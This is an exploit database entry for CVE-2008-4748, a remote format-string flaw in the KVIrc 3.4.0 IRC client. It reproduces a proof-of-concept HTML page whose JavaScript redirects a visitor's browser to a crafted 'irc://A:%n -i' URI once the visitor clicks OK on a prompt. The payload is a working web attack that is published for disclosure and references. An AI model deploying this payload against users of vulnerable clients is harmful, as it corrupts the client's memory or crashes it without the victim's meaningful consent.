Bug: KVIrc 3.4.0 Virgo Remote Format String Exploit PoC (WLB-2008100249 Ascii Version)

English Version
WLB2

CVE WLB2

 Topic: KVIrc 3.4.0 Virgo Remote Format String Exploit PoC
 Credit: Gjoko 'LiquidWorm' Krstic
 Date: 2008.10.29
 CWE: CWE-20 (Show similar)
 CVE: CVE-2008-4748 (Show details)

Use CVE to see details like:
- CVSS2,
- Affected Software,
- References

Risk
Local
Remote
High
No
Yes

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KVIrc v3.4.0 Virgo Remote Format String Exploit (PoC)

Summary: KVIrc is a free portable IRC client based on the excellent Qt GUI toolkit.
KVirc is being written by Szymon Stefanek and the KVIrc Development Team with
the contribution of many IRC addicted developers around the world.

Product web page: http://www.kvirc.net/

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

liquidworm [t00t] gmail [d0t] com

http://www.zeroscience.org

24.10.2008

-->


<html>

<title>KVIrc v3.4.0 Virgo Remote Format String Exploit (PoC)</Title>

<head>

<body>

<center> <br /> <br /> <strong>Warning ! :)</strong> </center>

<body bgcolor="#FFFF00">

<script type="text/javascript">

alert("KVIrc v3.4.0 Virgo Remote Format String Exploit (PoC)\n\n\t\tby LiquidWorm (c) 2008");

function poc()
{
window.location.href = "irc://A:%n -i";
}

var answ = confirm("Press OK to start exploitation\nPress Cancel to skip exploitation");

if (answ == true)
{
poc();
}

else
{
window.location.href = "http://www.kvirc.net";
}

</script> </body> </head> </html>

References:

http://www.securityfocus.com/bid/31912
http://www.milw0rm.com/exploits/6832
http://secunia.com/advisories/32410

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